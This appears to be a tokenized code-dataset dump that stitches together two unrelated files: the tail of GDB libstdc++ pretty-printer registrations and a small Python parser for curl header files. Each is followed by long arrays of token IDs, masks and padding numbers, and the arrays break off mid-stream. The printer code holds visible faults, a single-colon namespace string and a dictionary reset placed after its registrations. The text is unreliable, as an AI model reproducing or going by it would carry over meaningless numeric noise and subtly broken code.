Tr1UnorderedMapPrinter ('std::tr1::unordered_multimap', val) pretty_printers_dict[re.compile('^std::tr1::unordered_multiset<.*>$')] = lambda val: Tr1UnorderedSetPrinter ('std::tr1::unordered_multiset', val) # These are the C++0x printer registrations for -D_GLIBCXX_DEBUG cases. # The tr1 namespace printers do not seem to have any debug # equivalents, so do no register them. pretty_printers_dict[re.compile('^std::__debug::unordered_map<.*>$')] = lambda val: Tr1UnorderedMapPrinter ('std::__debug::unordered_map', val) pretty_printers_dict[re.compile('^std::__debug::unordered_set<.*>$')] = lambda val: Tr1UnorderedSetPrinter ('std::__debug::unordered_set', val) pretty_printers_dict[re.compile('^std::__debug::unordered_multimap<.*>$')] = lambda val: Tr1UnorderedMapPrinter ('std::__debug::unordered_multimap', val) pretty_printers_dict[re.compile('^std::__debug::unordered_multiset<.*>$')] = lambda val: Tr1UnorderedSetPrinter ('std::__debug:unordered_multiset', val) # Extensions. pretty_printers_dict[re.compile('^__gnu_cxx::slist<.*>$')] = StdSlistPrinter if True: # These shouldn't be necessary, if GDB "print *i" worked. # But it often doesn't, so here they are. pretty_printers_dict[re.compile('^std::_List_iterator<.*>$')] = lambda val: StdListIteratorPrinter("std::_List_iterator",val) pretty_printers_dict[re.compile('^std::_List_const_iterator<.*>$')] = lambda val: StdListIteratorPrinter("std::_List_const_iterator",val) pretty_printers_dict[re.compile('^std::_Rb_tree_iterator<.*>$')] = lambda val: StdRbtreeIteratorPrinter(val) pretty_printers_dict[re.compile('^std::_Rb_tree_const_iterator<.*>$')] = lambda val: StdRbtreeIteratorPrinter(val) pretty_printers_dict[re.compile('^std::_Deque_iterator<.*>$')] = lambda val: StdDequeIteratorPrinter(val) pretty_printers_dict[re.compile('^std::_Deque_const_iterator<.*>$')] = lambda val: StdDequeIteratorPrinter(val) pretty_printers_dict[re.compile('^__gnu_cxx::__normal_iterator<.*>$')] = lambda val: StdVectorIteratorPrinter(val) pretty_printers_dict[re.compile('^__gnu_cxx::_Slist_iterator<.*>$')] = lambda val: StdSlistIteratorPrinter(val) # Debug (compiled with -D_GLIBCXX_DEBUG) printer registrations. # The Rb_tree debug iterator when unwrapped from the encapsulating __gnu_debug::_Safe_iterator # does not have the __norm namespace. Just use the existing printer registration for that. pretty_printers_dict[re.compile('^__gnu_debug::_Safe_iterator<.*>$')] = lambda val: StdDebugIteratorPrinter(val) pretty_printers_dict[re.compile('^std::__norm::_List_iterator<.*>$')] = lambda val: StdListIteratorPrinter ("std::__norm::_List_iterator",val) pretty_printers_dict[re.compile('^std::__norm::_List_const_iterator<.*>$')] = lambda val: StdListIteratorPrinter ("std::__norm::_List_const_iterator",val) pretty_printers_dict[re.compile('^std::__norm::_Deque_const_iterator<.*>$')] = lambda val: StdDequeIteratorPrinter(val) pretty_printers_dict[re.compile('^std::__norm::_Deque_iterator<.*>$')] = lambda val: StdDequeIteratorPrinter(val) pretty_printers_dict = {} build_libstdcxx_dictionary ()
gpl-2.0
[ 3, 31651, 13, 24858, 367, 1973, 29657, 4176, 14, 199, 199, 3, 1898, 334, 35, 9, 9079, 12, 8937, 12, 7129, 2868, 2290, 2752, 12, 3277, 14, 199, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 646, 12124, 199, 646, 7975, 199, 646, 295, 199, 199, 533, 20992, 12190, 14131, 26, 272, 298, 5375, 282, 11179, 7849, 402, 2005, 4928, 2, 339, 347, 636, 826, 363, 334, 277, 12, 19151, 12, 1139, 304, 267, 291, 14, 18596, 275, 19151, 267, 291, 14, 637, 275, 1139, 339, 347, 370, 63, 875, 334, 277, 304, 267, 340, 291, 14, 637, 8680, 45, 63, 16497, 2545, 63, 45, 63, 1038, 418, 508, 378, 26, 288, 372, 1543, 83, 334, 1667, 9, 450, 83, 7, 450, 334, 277, 14, 18596, 12, 291, 14, 637, 8680, 45, 63, 4695, 1105, 267, 372, 1543, 83, 334, 835, 450, 68, 9, 450, 83, 7, 450, 334, 277, 14, 18596, 12, 3660, 291, 14, 637, 8680, 45, 63, 16497, 2545, 63, 45, 63, 1038, 2545, 63, 45, 63, 1180, 63, 835, 995, 3660, 291, 14, 637, 8680, 45, 63, 4695, 1105, 199, 199, 533, 18276, 12190, 14131, 26, 272, 298, 5375, 282, 3747, 63, 4695, 2, 339, 347, 636, 826, 363, 334, 277, 12, 1139, 304, 267, 291, 14, 637, 275, 1139, 339, 347, 370, 63, 875, 334, 277, 304, 267, 372, 291, 14, 637, 8680, 45, 63, 84, 418, 199, 199, 533, 20992, 1296, 14131, 26, 272, 298, 5375, 282, 2418, 447, 513, 2, 339, 1021, 485, 5778, 26, 267, 347, 636, 826, 721, 277, 12, 1031, 466, 12, 4854, 304, 288, 291, 14, 9895, 275, 1031, 466, 288, 291, 14, 1095, 275, 4854, 8680, 45, 63, 2184, 418, 288, 291, 14, 2993, 275, 4854, 14, 1562, 288, 291, 14, 835, 275, 378, 398, 347, 636, 1661, 721, 277, 304, 288, 372, 291, 398, 347, 2163, 8, 277, 304, 288, 340, 291, 14, 1095, 508, 291, 14, 2993, 26, 355, 746, 10852, 288, 18409, 275, 291, 14, 1095, 14, 2931, 8, 277, 14, 9895, 680, 27915, 342, 288, 291, 14, 1095, 275, 18409, 8680, 45, 63, 2184, 418, 288, 2338, 275, 291, 14, 835, 288, 291, 14, 835, 275, 291, 14, 835, 435, 413, 288, 372, 661, 9722, 68, 6616, 450, 2338, 12, 18409, 8680, 45, 63, 576, 1105, 339, 347, 636, 826, 721, 277, 12, 19151, 12, 1139, 304, 267, 291, 14, 18596, 275, 19151, 267, 291, 14, 637, 275, 1139, 339, 347, 4978, 8, 277, 304, 267, 284, 466, 275, 291, 14, 637, 14, 466, 14, 1160, 63, 2094, 8, 16, 9, 267, 327, 982, 314, 18538, 15499, 2240, 365, 10311, 543, 446, 36, 63, 2226, 2100, 12206, 63, 5287, 267, 327, 2005, 402, 314, 5007, 4514, 2436, 1570, 14, 267, 340, 291, 14, 18596, 508, 298, 1516, 447, 513, 582, 288, 1031, 466, 275, 12124, 14, 3892, 63, 466, 360, 1516, 14201, 1296, 63, 932, 21110, 83, 3524, 450, 284, 466, 680, 3929, 342, 267, 916, 291, 14, 18596, 508, 298, 1516, 20904, 1757, 447, 513, 582, 288, 1031, 466, 275, 12124, 14, 3892, 63, 466, 360, 1516, 20904, 4791, 14201, 1296, 63, 932, 21110, 83, 3524, 450, 284, 466, 680, 3929, 342, 267, 587, 26, 288, 746, 1722, 12, 298, 6612, 9106, 769, 1031, 367, 769, 16639, 2122, 267, 372, 291, 423, 5778, 8, 9895, 12, 291, 14, 637, 8680, 45, 63, 5472, 2545, 63, 45, 63, 932, 1105, 339, 347, 370, 63, 875, 8, 277, 304, 267, 340, 291, 14, 637, 8680, 45, 63, 5472, 2545, 63, 45, 63, 932, 2278, 1562, 508, 291, 14, 637, 8680, 45, 63, 5472, 2545, 63, 45, 63, 932, 2545, 63, 45, 63, 2184, 2565, 288, 372, 283, 1667, 450, 83, 7, 450, 334, 277, 14, 18596, 9, 267, 372, 1543, 83, 7, 450, 334, 277, 14, 18596, 9, 199, 199, 533, 20992, 1296, 3585, 14131, 26, 272, 298, 5375, 2418, 447, 513, 447, 5778, 2, 339, 347, 636, 826, 721, 277, 12, 19151, 12, 1139, 304, 267, 291, 14, 637, 275, 1139, 267, 291, 14, 18596, 275, 19151, 339, 347, 370, 63, 875, 8, 277, 304, 267, 284, 466, 275, 291, 14, 637, 14, 466, 14, 1160, 63, 2094, 8, 16, 9, 267, 327, 982, 314, 18538, 15499, 2240, 365, 10311, 543, 446, 36, 63, 2226, 2100, 12206, 63, 5287, 267, 327, 2005, 402, 314, 5007, 4514, 2436, 1570, 14, 267, 340, 291, 14, 18596, 508, 298, 1516, 14201, 1296, 63, 5778, 2, 503, 291, 14, 18596, 508, 298, 1516, 14201, 1296, 63, 1297, 63, 5778, 582, 288, 1031, 466, 275, 12124, 14, 3892, 63, 466, 360, 1516, 14201, 1296, 63, 932, 21110, 83, 3524, 450, 284, 466, 680, 3929, 342, 267, 916, 291, 14, 18596, 508, 298, 1516, 20904, 4791, 14201, 1296, 63, 5778, 2, 503, 291, 14, 18596, 508, 298, 1516, 20904, 4791, 14201, 1296, 63, 1297, 63, 5778, 582, 288, 1031, 466, 275, 12124, 14, 3892, 63, 466, 360, 1516, 20904, 4791, 14201, 1296, 63, 932, 21110, 83, 3524, 450, 284, 466, 680, 3929, 342, 267, 587, 26, 288, 746, 1722, 12, 298, 6612, 9106, 769, 1031, 367, 769, 6122, 16639, 2122, 267, 372, 291, 14, 637, 8680, 45, 63, 932, 2278, 2931, 8, 9895, 680, 27915, 342, 8680, 45, 63, 576, 418, 199, 199, 533, 20992, 51, 513, 14131, 26, 272, 298 ]
[ 31651, 13, 24858, 367, 1973, 29657, 4176, 14, 199, 199, 3, 1898, 334, 35, 9, 9079, 12, 8937, 12, 7129, 2868, 2290, 2752, 12, 3277, 14, 199, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 646, 12124, 199, 646, 7975, 199, 646, 295, 199, 199, 533, 20992, 12190, 14131, 26, 272, 298, 5375, 282, 11179, 7849, 402, 2005, 4928, 2, 339, 347, 636, 826, 363, 334, 277, 12, 19151, 12, 1139, 304, 267, 291, 14, 18596, 275, 19151, 267, 291, 14, 637, 275, 1139, 339, 347, 370, 63, 875, 334, 277, 304, 267, 340, 291, 14, 637, 8680, 45, 63, 16497, 2545, 63, 45, 63, 1038, 418, 508, 378, 26, 288, 372, 1543, 83, 334, 1667, 9, 450, 83, 7, 450, 334, 277, 14, 18596, 12, 291, 14, 637, 8680, 45, 63, 4695, 1105, 267, 372, 1543, 83, 334, 835, 450, 68, 9, 450, 83, 7, 450, 334, 277, 14, 18596, 12, 3660, 291, 14, 637, 8680, 45, 63, 16497, 2545, 63, 45, 63, 1038, 2545, 63, 45, 63, 1180, 63, 835, 995, 3660, 291, 14, 637, 8680, 45, 63, 4695, 1105, 199, 199, 533, 18276, 12190, 14131, 26, 272, 298, 5375, 282, 3747, 63, 4695, 2, 339, 347, 636, 826, 363, 334, 277, 12, 1139, 304, 267, 291, 14, 637, 275, 1139, 339, 347, 370, 63, 875, 334, 277, 304, 267, 372, 291, 14, 637, 8680, 45, 63, 84, 418, 199, 199, 533, 20992, 1296, 14131, 26, 272, 298, 5375, 282, 2418, 447, 513, 2, 339, 1021, 485, 5778, 26, 267, 347, 636, 826, 721, 277, 12, 1031, 466, 12, 4854, 304, 288, 291, 14, 9895, 275, 1031, 466, 288, 291, 14, 1095, 275, 4854, 8680, 45, 63, 2184, 418, 288, 291, 14, 2993, 275, 4854, 14, 1562, 288, 291, 14, 835, 275, 378, 398, 347, 636, 1661, 721, 277, 304, 288, 372, 291, 398, 347, 2163, 8, 277, 304, 288, 340, 291, 14, 1095, 508, 291, 14, 2993, 26, 355, 746, 10852, 288, 18409, 275, 291, 14, 1095, 14, 2931, 8, 277, 14, 9895, 680, 27915, 342, 288, 291, 14, 1095, 275, 18409, 8680, 45, 63, 2184, 418, 288, 2338, 275, 291, 14, 835, 288, 291, 14, 835, 275, 291, 14, 835, 435, 413, 288, 372, 661, 9722, 68, 6616, 450, 2338, 12, 18409, 8680, 45, 63, 576, 1105, 339, 347, 636, 826, 721, 277, 12, 19151, 12, 1139, 304, 267, 291, 14, 18596, 275, 19151, 267, 291, 14, 637, 275, 1139, 339, 347, 4978, 8, 277, 304, 267, 284, 466, 275, 291, 14, 637, 14, 466, 14, 1160, 63, 2094, 8, 16, 9, 267, 327, 982, 314, 18538, 15499, 2240, 365, 10311, 543, 446, 36, 63, 2226, 2100, 12206, 63, 5287, 267, 327, 2005, 402, 314, 5007, 4514, 2436, 1570, 14, 267, 340, 291, 14, 18596, 508, 298, 1516, 447, 513, 582, 288, 1031, 466, 275, 12124, 14, 3892, 63, 466, 360, 1516, 14201, 1296, 63, 932, 21110, 83, 3524, 450, 284, 466, 680, 3929, 342, 267, 916, 291, 14, 18596, 508, 298, 1516, 20904, 1757, 447, 513, 582, 288, 1031, 466, 275, 12124, 14, 3892, 63, 466, 360, 1516, 20904, 4791, 14201, 1296, 63, 932, 21110, 83, 3524, 450, 284, 466, 680, 3929, 342, 267, 587, 26, 288, 746, 1722, 12, 298, 6612, 9106, 769, 1031, 367, 769, 16639, 2122, 267, 372, 291, 423, 5778, 8, 9895, 12, 291, 14, 637, 8680, 45, 63, 5472, 2545, 63, 45, 63, 932, 1105, 339, 347, 370, 63, 875, 8, 277, 304, 267, 340, 291, 14, 637, 8680, 45, 63, 5472, 2545, 63, 45, 63, 932, 2278, 1562, 508, 291, 14, 637, 8680, 45, 63, 5472, 2545, 63, 45, 63, 932, 2545, 63, 45, 63, 2184, 2565, 288, 372, 283, 1667, 450, 83, 7, 450, 334, 277, 14, 18596, 9, 267, 372, 1543, 83, 7, 450, 334, 277, 14, 18596, 9, 199, 199, 533, 20992, 1296, 3585, 14131, 26, 272, 298, 5375, 2418, 447, 513, 447, 5778, 2, 339, 347, 636, 826, 721, 277, 12, 19151, 12, 1139, 304, 267, 291, 14, 637, 275, 1139, 267, 291, 14, 18596, 275, 19151, 339, 347, 370, 63, 875, 8, 277, 304, 267, 284, 466, 275, 291, 14, 637, 14, 466, 14, 1160, 63, 2094, 8, 16, 9, 267, 327, 982, 314, 18538, 15499, 2240, 365, 10311, 543, 446, 36, 63, 2226, 2100, 12206, 63, 5287, 267, 327, 2005, 402, 314, 5007, 4514, 2436, 1570, 14, 267, 340, 291, 14, 18596, 508, 298, 1516, 14201, 1296, 63, 5778, 2, 503, 291, 14, 18596, 508, 298, 1516, 14201, 1296, 63, 1297, 63, 5778, 582, 288, 1031, 466, 275, 12124, 14, 3892, 63, 466, 360, 1516, 14201, 1296, 63, 932, 21110, 83, 3524, 450, 284, 466, 680, 3929, 342, 267, 916, 291, 14, 18596, 508, 298, 1516, 20904, 4791, 14201, 1296, 63, 5778, 2, 503, 291, 14, 18596, 508, 298, 1516, 20904, 4791, 14201, 1296, 63, 1297, 63, 5778, 582, 288, 1031, 466, 275, 12124, 14, 3892, 63, 466, 360, 1516, 20904, 4791, 14201, 1296, 63, 932, 21110, 83, 3524, 450, 284, 466, 680, 3929, 342, 267, 587, 26, 288, 746, 1722, 12, 298, 6612, 9106, 769, 1031, 367, 769, 6122, 16639, 2122, 267, 372, 291, 14, 637, 8680, 45, 63, 932, 2278, 2931, 8, 9895, 680, 27915, 342, 8680, 45, 63, 576, 418, 199, 199, 533, 20992, 51, 513, 14131, 26, 272, 298, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Seegnify/Elasticcrawler
lib/curlheaders.py
1
1702
""" API to extract bits and pieces from CURL (command line utility) headers file. The headers can be obtained by calling: curl -D 'headers' 'url'. Currenlty supported formats are for protocols: HTTP, HTTPS. """ class Curlheaders: # response codes and headers container reponses = list() def __init__(self, headers = None): if headers is not None: self.load(headers) def load(self, headers): # read headers with open(headers) as f: lines = [line.strip() for line in f] # create response list resps = list() line_iter = iter(lines) # consume response code line = next(line_iter, None) resp = dict() resp['code'] = line.split()[1] resp['head'] = dict() # iterate over headers for line in line_iter: if len(line) is 0: # append last response resps.append(resp) # consume response code line = next(line_iter, None) if line is None: break resp = dict() resp['code'] = line.split()[1] resp['head'] = dict() else: # consume response header head = line.find(': ') name = line[0:head].lower() val = line[head+2:len(line)] resp['head'][name] = val # update loaded reponses self.responses = resps def response_count(self): return len(self.responses) def http_code(self, response_index): return self.responses[response_index]['code'] def http_header(self, response_index, header_name): header_name = header_name.lower() try: return self.responses[response_index]['head'][header_name] except KeyError: return None
bsd-3-clause
[ 624, 199, 3735, 370, 5536, 5821, 436, 10338, 687, 445, 2632, 334, 1531, 1004, 11420, 9, 2323, 570, 14, 199, 1918, 2323, 883, 506, 15884, 701, 6358, 26, 26145, 446, 36, 283, 2139, 7, 283, 633, 1370, 199, 3864, 828, 76, 369, 3748, 6752, 787, 367, 19230, 26, 3101, 12, 14147, 14, 199, 199, 624, 199, 199, 533, 445, 633, 2139, 26, 523, 327, 1177, 9479, 436, 2323, 3970, 523, 295, 732, 83, 275, 769, 342, 819, 347, 636, 826, 721, 277, 12, 2323, 275, 488, 304, 272, 340, 2323, 365, 440, 488, 26, 489, 291, 14, 912, 8, 2139, 9, 819, 347, 2248, 8, 277, 12, 2323, 304, 272, 327, 1586, 2323, 272, 543, 1551, 8, 2139, 9, 465, 289, 26, 489, 2385, 275, 359, 604, 14, 1913, 342, 367, 1004, 315, 289, 61, 2541, 327, 1218, 1177, 769, 489, 522, 1190, 275, 769, 342, 489, 1004, 63, 1661, 275, 2740, 8, 1278, 9, 2541, 327, 9451, 1177, 1233, 489, 1004, 275, 2163, 8, 604, 63, 1661, 12, 488, 9, 489, 3085, 275, 1211, 342, 489, 3085, 459, 600, 418, 275, 1004, 14, 1294, 3430, 17, 61, 489, 3085, 459, 2993, 418, 275, 1211, 342, 2541, 327, 13974, 1806, 2323, 489, 367, 1004, 315, 1004, 63, 1661, 26, 267, 340, 822, 8, 604, 9, 365, 378, 26, 881, 327, 5666, 2061, 1177, 881, 522, 1190, 14, 740, 8, 4518, 9, 881, 327, 9451, 1177, 1233, 881, 1004, 275, 2163, 8, 604, 63, 1661, 12, 488, 9, 881, 340, 1004, 365, 488, 26, 2059, 881, 3085, 275, 1211, 342, 881, 3085, 459, 600, 418, 275, 1004, 14, 1294, 3430, 17, 61, 881, 3085, 459, 2993, 418, 275, 1211, 342, 267, 587, 26, 881, 327, 9451, 1177, 1406, 881, 4854, 275, 1004, 14, 1623, 6176, 5320, 881, 536, 275, 1004, 59, 16, 26, 2993, 1055, 2325, 342, 881, 1139, 275, 1004, 59, 2993, 11, 18, 26, 552, 8, 604, 1874, 881, 3085, 459, 2993, 3488, 354, 61, 275, 1139, 339, 327, 1678, 6511, 295, 732, 83, 272, 291, 14, 10360, 275, 522, 1190, 819, 347, 1177, 63, 835, 8, 277, 304, 272, 372, 822, 8, 277, 14, 10360, 9, 819, 347, 1455, 63, 600, 8, 277, 12, 1177, 63, 1080, 304, 272, 372, 291, 14, 10360, 59, 1310, 63, 1080, 2733, 600, 418, 819, 347, 1455, 63, 1291, 8, 277, 12, 1177, 63, 1080, 12, 1406, 63, 354, 304, 272, 1406, 63, 354, 275, 1406, 63, 354, 14, 2325, 342, 272, 862, 26, 489, 372, 291, 14, 10360, 59, 1310, 63, 1080, 2733, 2993, 3488, 1291, 63, 354, 61, 272, 871, 4067, 26, 489, 372, 488, 2126, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 3735, 370, 5536, 5821, 436, 10338, 687, 445, 2632, 334, 1531, 1004, 11420, 9, 2323, 570, 14, 199, 1918, 2323, 883, 506, 15884, 701, 6358, 26, 26145, 446, 36, 283, 2139, 7, 283, 633, 1370, 199, 3864, 828, 76, 369, 3748, 6752, 787, 367, 19230, 26, 3101, 12, 14147, 14, 199, 199, 624, 199, 199, 533, 445, 633, 2139, 26, 523, 327, 1177, 9479, 436, 2323, 3970, 523, 295, 732, 83, 275, 769, 342, 819, 347, 636, 826, 721, 277, 12, 2323, 275, 488, 304, 272, 340, 2323, 365, 440, 488, 26, 489, 291, 14, 912, 8, 2139, 9, 819, 347, 2248, 8, 277, 12, 2323, 304, 272, 327, 1586, 2323, 272, 543, 1551, 8, 2139, 9, 465, 289, 26, 489, 2385, 275, 359, 604, 14, 1913, 342, 367, 1004, 315, 289, 61, 2541, 327, 1218, 1177, 769, 489, 522, 1190, 275, 769, 342, 489, 1004, 63, 1661, 275, 2740, 8, 1278, 9, 2541, 327, 9451, 1177, 1233, 489, 1004, 275, 2163, 8, 604, 63, 1661, 12, 488, 9, 489, 3085, 275, 1211, 342, 489, 3085, 459, 600, 418, 275, 1004, 14, 1294, 3430, 17, 61, 489, 3085, 459, 2993, 418, 275, 1211, 342, 2541, 327, 13974, 1806, 2323, 489, 367, 1004, 315, 1004, 63, 1661, 26, 267, 340, 822, 8, 604, 9, 365, 378, 26, 881, 327, 5666, 2061, 1177, 881, 522, 1190, 14, 740, 8, 4518, 9, 881, 327, 9451, 1177, 1233, 881, 1004, 275, 2163, 8, 604, 63, 1661, 12, 488, 9, 881, 340, 1004, 365, 488, 26, 2059, 881, 3085, 275, 1211, 342, 881, 3085, 459, 600, 418, 275, 1004, 14, 1294, 3430, 17, 61, 881, 3085, 459, 2993, 418, 275, 1211, 342, 267, 587, 26, 881, 327, 9451, 1177, 1406, 881, 4854, 275, 1004, 14, 1623, 6176, 5320, 881, 536, 275, 1004, 59, 16, 26, 2993, 1055, 2325, 342, 881, 1139, 275, 1004, 59, 2993, 11, 18, 26, 552, 8, 604, 1874, 881, 3085, 459, 2993, 3488, 354, 61, 275, 1139, 339, 327, 1678, 6511, 295, 732, 83, 272, 291, 14, 10360, 275, 522, 1190, 819, 347, 1177, 63, 835, 8, 277, 304, 272, 372, 822, 8, 277, 14, 10360, 9, 819, 347, 1455, 63, 600, 8, 277, 12, 1177, 63, 1080, 304, 272, 372, 291, 14, 10360, 59, 1310, 63, 1080, 2733, 600, 418, 819, 347, 1455, 63, 1291, 8, 277, 12, 1177, 63, 1080, 12, 1406, 63, 354, 304, 272, 1406, 63, 354, 275, 1406, 63, 354, 14, 